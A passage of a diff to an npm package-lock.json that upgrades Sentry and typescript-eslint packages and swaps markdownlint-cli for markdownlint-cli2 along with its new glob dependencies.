"10.67.0", + "resolved": "https://registry.npmjs.org/@sentry/core/-/core-10.67.0.tgz", + "integrity": "sha512-b6U3pJ8AUvN9aouq0vl+VZI8KT8RslBsfGMFuNwRr313zOmdmFJBZqTiUw9VGgJ2jGKxLO9alm9rlxBfX4hf+w==", "license": "MIT", "dependencies": { "@sentry/conventions": "^0.16.0" @@ -6706,34 +6724,34 @@ } }, "node_modules/@sentry/feedback": { - "version": "10.66.0", - "resolved": "https://registry.npmjs.org/@sentry/feedback/-/feedback-10.66.0.tgz", - "integrity": "sha512-fr69K76Gz7RRyfMerChdNjWIeQdFh+k21GJcmPCqk43dscUChOsLc3cYLS5cK7iZ/XiUmH9lVzf7EYL2kf2qsA==", + "version": "10.67.0", + "resolved": "https://registry.npmjs.org/@sentry/feedback/-/feedback-10.67.0.tgz", + "integrity": "sha512-I4ML2/SF3enwikb6ZSoRiqolQrx0zSzTSnUgwCmugICF/jpHW0th1pCray9R+t1Zzibw/Dpj4t/DNXaSDRa2MA==", "license": "MIT", "dependencies": { - "@sentry/core": "10.66.0" + "@sentry/core": "10.67.0" }, "engines": { "node": ">=18" } }, "node_modules/@sentry/nextjs": { - "version": "10.66.0", - "resolved": "https://registry.npmjs.org/@sentry/nextjs/-/nextjs-10.66.0.tgz", - "integrity": "sha512-t+FodSqOWII61kbkgeGkcT6Aii8eDnpQAEmky28w/rBfl715fPN3K/qeGhP2D1Q+DsjdvkJfHDRL1jZBVwFWZQ==", + "version": "10.67.0", + "resolved": "https://registry.npmjs.org/@sentry/nextjs/-/nextjs-10.67.0.tgz", + "integrity": "sha512-errNYlnhQBTDGzgAH0kkneD3/sK+VqW1qBixV8S/Gg4ygj6+QjigOU9idJA980H7mjyxrM1iT74qtcFt24nFow==", "license": "MIT", "dependencies": { "@opentelemetry/api": "^1.9.1", "@rollup/plugin-commonjs": "28.0.1", - "@sentry/browser-utils": "10.66.0", + "@sentry/browser-utils": "10.67.0", "@sentry/bundler-plugin-core": "^5.3.0", "@sentry/conventions": "^0.16.0", - "@sentry/core": "10.66.0", - "@sentry/node": "10.66.0", - "@sentry/opentelemetry": "10.66.0", - "@sentry/react": "10.66.0", - "@sentry/server-utils": "10.66.0", - "@sentry/vercel-edge": "10.66.0", + "@sentry/core": "10.67.0", + "@sentry/node": "10.67.0", + "@sentry/opentelemetry": "10.67.0", + "@sentry/react": "10.67.0", + "@sentry/server-utils": "10.67.0", + "@sentry/vercel-edge": "10.67.0", "@sentry/webpack-plugin": "^5.3.0", "rollup": "^4.60.3", "stacktrace-parser": "^0.1.11" @@ -6746,19 +6764,19 @@ } }, "node_modules/@sentry/node": { - "version": "10.66.0", - "resolved": "https://registry.npmjs.org/@sentry/node/-/node-10.66.0.tgz", - "integrity": "sha512-5Ow7iQiRjaSaEOmqEIkYV368hFFzShIZCXPoj+wX3JtOmKFrsNu6lr8/VJlQs7cyjFS6tzE50PrLrD8iAPS/8w==", + "version": "10.67.0", + "resolved": "https://registry.npmjs.org/@sentry/node/-/node-10.67.0.tgz", + "integrity": "sha512-SFKpZGqOCEFSmP93NdDP6ikZp4NS7A/JR8+2ofK3jF6Y9Vyox7pX0pxdOnPLpFcPtMybMahfWqSAWJvsFs4RmA==", "license": "MIT", "dependencies": { "@opentelemetry/api": "^1.9.1", "@opentelemetry/instrumentation": "^0.220.0", "@opentelemetry/sdk-trace-base": "^2.9.0", "@sentry/conventions": "^0.16.0", - "@sentry/core": "10.66.0", - "@sentry/node-core": "10.66.0", - "@sentry/opentelemetry": "10.66.0", - "@sentry/server-utils": "10.66.0", + "@sentry/core": "10.67.0", + "@sentry/node-core": "10.67.0", + "@sentry/opentelemetry": "10.67.0", + "@sentry/server-utils": "10.67.0", "import-in-the-middle": "^3.0.0" }, "engines": { @@ -6766,14 +6784,14 @@ } }, "node_modules/@sentry/node-core": { - "version": "10.66.0", - "resolved": "https://registry.npmjs.org/@sentry/node-core/-/node-core-10.66.0.tgz", - "integrity": "sha512-SUnXHROqSdSetKgZC1goDEKCuMz3OmQ1h4rxzWeexLyqan+pensZXfLouP6jzZXlA8e/HP7uQg78LnfqYDcZlQ==", + "version": "10.67.0", + "resolved": "https://registry.npmjs.org/@sentry/node-core/-/node-core-10.67.0.tgz", + "integrity": "sha512-dBHHRwZyan1pOnFJ+sNBvR8TkXbZAfZU/jpxmALS3JZ2/8AGR7cQKL+b7SleKuJ7iUDZyklN3Nqi0i5JkcA+HA==", "license": "MIT", "dependencies": { "@sentry/conventions": "^0.16.0", - "@sentry/core": "10.66.0", - "@sentry/opentelemetry": "10.66.0", + "@sentry/core": "10.67.0", + "@sentry/opentelemetry": "10.67.0", "import-in-the-middle": "^3.0.0" }, "engines": { @@ -6805,13 +6823,13 @@ } }, "node_modules/@sentry/opentelemetry": { - "version": "10.66.0", - "resolved": "https://registry.npmjs.org/@sentry/opentelemetry/-/opentelemetry-10.66.0.tgz", - "integrity": "sha512-K5Y9IettN9yIOnpqCs40HRLGqaGUoaQ50+ZsLqX2kPCk3TzJVpKZ9icKwaJ4Nxm72QgGVT5Ovfr/9FXbgd3b/Q==", + "version": "10.67.0", + "resolved": "https://registry.npmjs.org/@sentry/opentelemetry/-/opentelemetry-10.67.0.tgz", + "integrity": "sha512-oLTOrAK1rOqmYRktOJZwz37B1seXPx1W2FTMVtzTVNjMFA/LZwGzePeZzhUOgzZgfLHixMd/ceWtGqoxAndcjQ==", "license": "MIT", "dependencies": { "@sentry/conventions": "^0.16.0", - "@sentry/core": "10.66.0" + "@sentry/core": "10.67.0" }, "engines": { "node": ">=18" @@ -6823,14 +6841,14 @@ } }, "node_modules/@sentry/react": { - "version": "10.66.0", - "resolved": "https://registry.npmjs.org/@sentry/react/-/react-10.66.0.tgz", - "integrity": "sha512-aodV9C2NnaZBqJvaBceIIaVyMVEisO38EWtH5xL7IMbD6QSmBYsuNU7yYzRcdOj/+99FxJYRPaqwzGnIWnNTHw==", + "version": "10.67.0", + "resolved": "https://registry.npmjs.org/@sentry/react/-/react-10.67.0.tgz", + "integrity": "sha512-fS0DplcP9eMxBIRurPC/uxa4NrFK+l9ZsnvQo7wZvNutc7DpTAH0hgFt6laVNCe57s1pFo+OZuKsYBA6JDvH4Q==", "license": "MIT", "dependencies": { - "@sentry/browser": "10.66.0", + "@sentry/browser": "10.67.0", "@sentry/conventions": "^0.16.0", - "@sentry/core": "10.66.0" + "@sentry/core": "10.67.0" }, "engines": { "node": ">=18" @@ -6840,68 +6858,67 @@ } }, "node_modules/@sentry/replay": { - "version": "10.66.0", - "resolved": "https://registry.npmjs.org/@sentry/replay/-/replay-10.66.0.tgz", - "integrity": "sha512-Djb4FxQa9bF8z3PoCO00Nw1u+6hma2YuI8JkMoE+F14KWRfCZKQ28sScsvk+OokbXgjtuIsxDEZj/qFGY0w01w==", + "version": "10.67.0", + "resolved": "https://registry.npmjs.org/@sentry/replay/-/replay-10.67.0.tgz", + "integrity": "sha512-nkEUgPCR82EcyJkCf3XCE9H0R5KisCqyCAaSGxe7NpAoQbvASHx4MUNgXVAn+D0M494gvPZh6lFH7JgzqTcSqQ==", "license": "MIT", "dependencies": { - "@sentry/browser-utils": "10.66.0", - "@sentry/core": "10.66.0" + "@sentry/browser-utils": "10.67.0", + "@sentry/core": "10.67.0" }, "engines": { "node": ">=18" } }, "node_modules/@sentry/replay-canvas": { - "version": "10.66.0", - "resolved": "https://registry.npmjs.org/@sentry/replay-canvas/-/replay-canvas-10.66.0.tgz", - "integrity": "sha512-z7fPWEIfAJMJySKXFIqXAzFpkHjp13WGMAmB9+hlHhi9+gjAO8owD9R4XTd86lBswveGwMHKvIx5lFKNVqDcow==", + "version": "10.67.0", + "resolved": "https://registry.npmjs.org/@sentry/replay-canvas/-/replay-canvas-10.67.0.tgz", + "integrity": "sha512-neNA4T6MFtZzMdKYetiR+LZd9BNSd0q2szMn0wk+A15PqHE/IN7a34V6JZc9rCtmzB0wldh0eWGOBb49MSNKjA==", "license": "MIT", "dependencies": { - "@sentry/core": "10.66.0", - "@sentry/replay": "10.66.0" + "@sentry/core": "10.67.0", + "@sentry/replay": "10.67.0" }, "engines": { "node": ">=18" } }, "node_modules/@sentry/server-utils": { - "version": "10.66.0", - "resolved": "https://registry.npmjs.org/@sentry/server-utils/-/server-utils-10.66.0.tgz", - "integrity": "sha512-h9EM9Wz9Mc6w2Vn7Fyh6ozjy4JC2UbUvWf9Ra1HYA4KMeYqjFA5/o0oB4pg4w/TF+rb+9OF/HNqxjuczxpudpA==", + "version": "10.67.0", + "resolved": "https://registry.npmjs.org/@sentry/server-utils/-/server-utils-10.67.0.tgz", + "integrity": "sha512-GQ9t+RSTx5s3b/aZrLFuL4nrwPLMah5NiZk5cjxJmgmOSgm3nMdO8gdqCedDch5B13F3YsxtaQYjSJnzLz8M5A==", "license": "MIT", "dependencies": { - "@apm-js-collab/code-transformer": "^0.18.0", - "@apm-js-collab/code-transformer-bundler-plugins": "^0.6.1", + "@apm-js-collab/code-transformer-bundler-plugins": "^0.7.1", "@apm-js-collab/tracing-hooks": "^0.13.0", "@sentry/conventions": "^0.16.0", - "@sentry/core": "10.66.0" + "@sentry/core": "10.67.0" }, "engines": { "node": ">=18" } }, "node_modules/@sentry/types": { - "version": "10.66.0", - "resolved": "https://registry.npmjs.org/@sentry/types/-/types-10.66.0.tgz", - "integrity": "sha512-NH+3vp15vt7dHX1M32CsAHlf3BWU25/1pJOFW9O2565A269nKylB09V4kDm0XH2ARGgv6wPcNFPhbiTByv7HgA==", + "version": "10.67.0", + "resolved": "https://registry.npmjs.org/@sentry/types/-/types-10.67.0.tgz", + "integrity": "sha512-gSBqoEdDuUZtdhRDNHwpV5WwYaP8ik2ekttfV/2wwUzRv2eujqz2t9NwzcXxAAf/hAYhl3H6sD90pLOsfkwNfw==", "dev": true, "license": "MIT", "dependencies": { - "@sentry/core": "10.66.0" + "@sentry/core": "10.67.0" }, "engines": { "node": ">=18" } }, "node_modules/@sentry/vercel-edge": { - "version": "10.66.0", - "resolved": "https://registry.npmjs.org/@sentry/vercel-edge/-/vercel-edge-10.66.0.tgz", - "integrity": "sha512-uNctdCoSDFgbm7Cg+8tMOBIRT1R5Xt6oU3J0WyJkD1DDmJ/8SDlLNdAbckZwPr96KFFF4MavuP2Uf7zXxratfQ==", + "version": "10.67.0", + "resolved": "https://registry.npmjs.org/@sentry/vercel-edge/-/vercel-edge-10.67.0.tgz", + "integrity": "sha512-tez7Kwz24PE4BCjzc2kcRc0gF4DWxYlSn61we9nRKSBh/wwUsQEznJfQ7tYxWbc67kxayQiyS5Vl9zzv5urTGw==", "license": "MIT", "dependencies": { "@opentelemetry/api": "^1.9.1", - "@sentry/core": "10.66.0" + "@sentry/core": "10.67.0" }, "engines": { "node": ">=18" @@ -6929,6 +6946,19 @@ "dev": true, "license": "MIT" }, + "node_modules/@sindresorhus/merge-streams": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/merge-streams/-/merge-streams-4.0.0.tgz", + "integrity": "sha512-tlqY9xq5ukxTUZBmoOp+m61cqwQD5pHJtFY3Mn8CA8ps6yghLH/Hw8UPdqg4OLmFW3IFlcXnQNmo/dh8HzXYIQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/@sinonjs/commons": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz", @@ -7656,16 +7686,16 @@ "license": "MIT" }, "node_modules/@typescript-eslint/parser": { - "version": "8.64.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.64.0.tgz", - "integrity": "sha512-KA0OshtlcCCXmbfqyZkM5pV3/WNraJf7DkJRLpyrmwPtud57H5BDX7C3k0LPSPxpprfRL+cJDGabF10mvNCoCw==", + "version": "8.65.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.65.0.tgz", + "integrity": "sha512-CZ4nMxWwgu1HEEFNkeaCptra9QCtkmKdgf3sWh1rl1trIhmxLilgTV4cwcbQ4wemnT4sWQN8CaKOmdYx+g2gMA==", "dev": true, "license": "MIT", "dependencies": { - "@typescript-eslint/scope-manager": "8.64.0", - "@typescript-eslint/types": "8.64.0", - "@typescript-eslint/typescript-estree": "8.64.0", - "@typescript-eslint/visitor-keys": "8.64.0", + "@typescript-eslint/scope-manager": "8.65.0", + "@typescript-eslint/types": "8.65.0", + "@typescript-eslint/typescript-estree": "8.65.0", + "@typescript-eslint/visitor-keys": "8.65.0", "debug": "^4.4.3" }, "engines": { @@ -7681,14 +7711,14 @@ } }, "node_modules/@typescript-eslint/project-service": { - "version": "8.64.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.64.0.tgz", - "integrity": "sha512-tk4WpOJ6IEbGrVHaNmM0YRrwAD3exZlIK3iadQNAxh4YKk6jvUQ4ecq18n+v7+meh+cJ3j+D8nbk8sRKhlwLQg==", + "version": "8.65.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.65.0.tgz", + "integrity": "sha512-SxnPhbTsGahizDgbu7oqFH/xVtzIqMd/s+WtnSxNxJZJpLbdT5IPdzg8EZxO3+PoKahXmwJLeNQOpKJb3/bi7Q==", "dev": true, "license": "MIT", "dependencies": { - "@typescript-eslint/tsconfig-utils": "^8.64.0", - "@typescript-eslint/types": "^8.64.0", + "@typescript-eslint/tsconfig-utils": "^8.65.0", + "@typescript-eslint/types": "^8.65.0", "debug": "^4.4.3" }, "engines": { @@ -7703,14 +7733,14 @@ } }, "node_modules/@typescript-eslint/scope-manager": { - "version": "8.64.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.64.0.tgz", - "integrity": "sha512-CXEaFdYXjSTgKhisNkwCcJwTP8Pl+fmRrEQrri4nm3vU743bALrxzLmq7fHG/7e6a5xO0lDYeURpZmBuhHk54w==", + "version": "8.65.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.65.0.tgz", + "integrity": "sha512-Esbl8OSYiVxBokYgWPf7VVWg/BE798wXhimnn9ML9Pt5qoDf8bfQlgjlKXR/k98+AcNzlLKYrpCcrcuZ9DZLgg==", "dev": true, "license": "MIT", "dependencies": { - "@typescript-eslint/types": "8.64.0", - "@typescript-eslint/visitor-keys": "8.64.0" + "@typescript-eslint/types": "8.65.0", + "@typescript-eslint/visitor-keys": "8.65.0" }, "engines": { "node": "^18.18.0 || ^20.9.0 || >=21.1.0" @@ -7721,9 +7751,9 @@ } }, "node_modules/@typescript-eslint/tsconfig-utils": { - "version": "8.64.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.64.0.tgz", - "integrity": "sha512-2yo8rRNKuzbVWQp5kslhANqZ2uDAeROQHBRZNPu8JDsHmeFNj/XJJhX/FhNUWmkHHvoNsKa6+tHJiig87EzsQw==", + "version": "8.65.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.65.0.tgz", + "integrity": "sha512-j6GzGqCiRdA7Qhur2VVmKZAkBLfnHFQfx4TaJGL9RMveZqCo48jSHHO0DTgizEnGhtWnqmbtCUSrqSkdiY/0Hg==", "dev": true, "license": "MIT", "engines": { @@ -7738,9 +7768,9 @@ } }, "node_modules/@typescript-eslint/types": { - "version": "8.64.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.64.0.tgz", - "integrity": "sha512-qjhfuTfLXjA4IOzXvz0rTjT01BqEiIgPoUeMwiEjnaHKJMTNo8rH5pYW1a2L/0Dnux2fPC85AeyJoWaGa8WxTA==", + "version": "8.65.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.65.0.tgz", + "integrity": "sha512-JSSwWNy+H0E/01jJEM+hrX6N0OFDzFzeIhHFSAS01tlVaevpG8cFyYRPhS5yjGOvBUx3sqQHVMjCL1CAZZMxBg==", "dev": true, "license": "MIT", "engines": { @@ -7752,16 +7782,16 @@ } }, "node_modules/@typescript-eslint/typescript-estree": { - "version": "8.64.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.64.0.tgz", - "integrity": "sha512-Pztpsn1aCE1oWDvDEfUk31nngvvF7vUB5SwHFEaZIFpvw7WJtqUHHL4plBZDA9HfWJJjL13BdG0YrJInTUvoVA==", + "version": "8.65.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.65.0.tgz", + "integrity": "sha512-JboAE2swaYt4tb1fHhHTABE2K+OLy09XfcTbhnk4Pw96f9dd2e9iYsJ28gBggHlo5z5x1rkyWvcPoTuNTd4oGg==", "dev": true, "license": "MIT", "dependencies": { - "@typescript-eslint/project-service": "8.64.0", - "@typescript-eslint/tsconfig-utils": "8.64.0", - "@typescript-eslint/types": "8.64.0", - "@typescript-eslint/visitor-keys": "8.64.0", + "@typescript-eslint/project-service": "8.65.0", + "@typescript-eslint/tsconfig-utils": "8.65.0", + "@typescript-eslint/types": "8.65.0", + "@typescript-eslint/visitor-keys": "8.65.0", "debug": "^4.4.3", "minimatch": "^10.2.2", "semver": "^7.7.3", @@ -7832,13 +7862,13 @@ } }, "node_modules/@typescript-eslint/visitor-keys": { - "version": "8.64.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.64.0.tgz", - "integrity": "sha512-mrtuL8Nsn6gi2H4mo5KMTp823M+3Q19Ew/i+Zlikq20tIMm99C3Ez0dCmkWWnxut20esQvTg8aUSEhMcAOXhEw==", + "version": "8.65.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.65.0.tgz", + "integrity": "sha512-8C71BQkGjiMmXtop7pHVJu1l2NNShFdkCyD6a2ezzs5vU/L3LRtb69EtcteFwz0mYMPzIgOw0n6OV4VBUWZd7A==", "dev": true, "license": "MIT", "dependencies": { - "@typescript-eslint/types": "8.64.0", + "@typescript-eslint/types": "8.65.0", "eslint-visitor-keys": "^5.0.0" }, "engines": { @@ -8983,9 +9013,9 @@ "license": "MIT" }, "node_modules/baseline-browser-mapping": { - "version": "2.10.43", - "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.43.tgz", - "integrity": "sha512-AjYpR78kDWAY3Efj+cDTFH9t9SCoL7OoTp1BOb0mQV7S+6CiLwnWM3FyxhJtdPufDFKzmCSFoUncKjWgJEZTCQ==", + "version": "2.10.44", + "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.44.tgz", + "integrity": "sha512-T3ghW+sl/ZJ8w1v/yQx3qvJ9040DWoLBz8JT/CILbAKcFyG9b2MRe75v6W5uXjv6uH1lumK2Kv46y2zSkcej0Q==", "license": "Apache-2.0", "bin": { "baseline-browser-mapping": "dist/cli.cjs" @@ -9035,6 +9065,19 @@ "balanced-match": "^1.0.0" } }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/browserslist": { "version": "4.28.6", "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.6.tgz", @@ -9959,16 +10002,6 @@ } } }, - "node_modules/deep-extend": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", - "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=4.0.0" - } - }, "node_modules/deep-is": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", @@ -10215,9 +10248,9 @@ } }, "node_modules/enhanced-resolve": { - "version": "5.24.2", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.24.2.tgz", - "integrity": "sha512-rpsZEGT1jFuve6QlpyRp9ckQ+kN61hvF9BzCPyMdaKTm8UJce96KBn3sorXOFXlzjPrs3Vc4T1NsSroZ3PxlFw==", + "version": "5.24.3", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.24.3.tgz", + "integrity": "sha512-PwKooW9JUzh5chmYfHM3IQl5OkK2u2Nm011MgeZrss3JmFraUx/fqrf78kk8GUMYoibx/14MdwTl/1WKkG7TpQ==", "license": "MIT", "dependencies": { "graceful-fs": "^4.2.4", @@ -10678,6 +10711,36 @@ "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", "license": "MIT" }, + "node_modules/fast-glob": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.8" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, "node_modules/fast-json-stable-stringify": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", @@ -10693,9 +10756,9 @@ "license": "MIT" }, "node_modules/fast-uri": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.3.tgz", - "integrity": "sha512-i70LwGWUduXqzicKXWshooq+sWL1K3WUU5rKZNG/0i3a1OSoX3HqhH5WbWwTmqWfor4urUakGPiRQcleRZTwOg==", + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.4.tgz", + "integrity": "sha512-8JnbkQ4juDyvYs4mgFGQqg4yCYtFDtUtmp2QIQq11ZZe5CFQ5wcqm1rqDgAh/QdMySuBnPzMUiJUNZG5N/AiQw==", "funding": [ { "type": "github", @@ -10708,6 +10771,16 @@ ], "license": "BSD-3-Clause" }, + "node_modules/fastq": { + "version": "1.20.1", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz", + "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", + "dev": true, + "license": "ISC", + "dependencies": { + "reusify": "^1.0.4" + } + }, "node_modules/faye-websocket": { "version": "0.11.4", "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.4.tgz", @@ -10760,6 +10833,19 @@ "node": ">=16.0.0" } }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "license": "MIT", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/find-root": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz", @@ -11164,6 +11250,63 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/globby": { + "version": "16.2.1", + "resolved": "https://registry.npmjs.org/globby/-/globby-16.2.1.tgz", + "integrity": "sha512-JmsqJalahxxgW8V2ecSQ2G7UjPlI9cpKdrkG9KoNiXhd/YslXOTEB0cViENWUznuovIuNT+FkMbraDGjr4FCUg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@sindresorhus/merge-streams": "^4.0.0", + "fast-glob": "^3.3.3", + "ignore": "^7.0.5", + "is-path-inside": "^4.0.0", + "slash": "^5.1.0", + "unicorn-magic": "^0.4.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/globby/node_modules/ignore": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.6.tgz", + "integrity": "sha512-BAg6QkE8W+TuQLrrw0Ugr7HegXduRuuj8/ti2kSOc+jz1dmx8/WNcjr6XGnq5YpDWxFwwaavqD0+jIUOKelTsw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/globby/node_modules/is-path-inside": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-4.0.0.tgz", + "integrity": "sha512-lJJV/5dYS+RcL8uQdBDW9c9uWFLLBNRyFhnAKXw5tVqLlKZ4RMGZKv+YQ/IA3OhD+RpbJa1LLFM1FQPGyIXvOA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/globby/node_modules/slash": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-5.1.0.tgz", + "integrity": "sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/gopd": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", @@ -11644,6 +11787,16 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, "node_modules/is-path-inside": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", @@ -14138,77 +14291,47 @@ "url": "https://github.com/sponsors/DavidAnson" } }, - "node_modules/markdownlint-cli": { - "version": "0.49.1", - "resolved": "https://registry.npmjs.org/markdownlint-cli/-/markdownlint-cli-0.49.1.tgz", - "integrity": "sha512-qpYqJbSYf3jv57bdnFmCaZ/Wlu6IYHp2b6SOKrKBJ7OnPrDHIKmx4NERWH49QH9viTI6yO6raVDDn5nrf60VQQ==", + "node_modules/markdownlint-cli2": { + "version": "0.23.1", + "resolved": "https://registry.npmjs.org/markdownlint-cli2/-/markdownlint-cli2-0.23.1.tgz", + "integrity": "sha512-20JPI5W+HpV1OA+pUM712wgvL4GzYNUvbmhLU8KlEYJ1kCDx4soZ4/Xqd+WkLrPTOKMAn8SfO3zYFrK8GLlwQg==", "dev": true, "license": "MIT", "dependencies": { - "commander": "~15.0.0", - "deep-extend": "~0.6.0", - "ignore": "~7.0.6", - "js-yaml": "~5.2.1", - "jsonc-parser": "~3.3.1", - "jsonpointer": "~5.0.1", - "markdown-it": "~14.3.0", - "markdownlint": "~0.41.1", - "minimatch": "~10.2.5", - "run-con": "~1.3.3", - "smol-toml": "~1.7.0", - "tinyglobby": "~0.2.17" + "globby": "16.2.1", + "js-yaml": "5.2.1", + "jsonc-parser": "3.3.1", + "jsonpointer": "5.0.1", + "markdown-it": "14.3.0", + "markdownlint": "0.41.1", + "markdownlint-cli2-formatter-default": "0.0.6", + "micromatch": "4.0.8", + "smol-toml": "1.7.0" }, "bin": { - "markdownlint": "markdownlint.js" + "markdownlint-cli2": "markdownlint-cli2-bin.mjs" }, "engines": { "node": ">=22" - } - }, - "node_modules/markdownlint-cli/node_modules/balanced-match": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", - "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", - "dev": true, - "license": "MIT", - "engines": { - "node": "18 || 20 || >=22" - } - }, - "node_modules/markdownlint-cli/node_modules/brace-expansion": { - "version": "5.0.7", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.7.tgz", - "integrity": "sha512-7oFy703dxfY3/NLxC1fh2SUCQ0H9rmAY+5EpDVfXjUTTs+HEwR2nYaqLv+GWcTsumwxPfiz6CzCNkwXwBUwqCA==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^4.0.2" }, - "engines": { - "node": "18 || 20 || >=22" - } - }, - 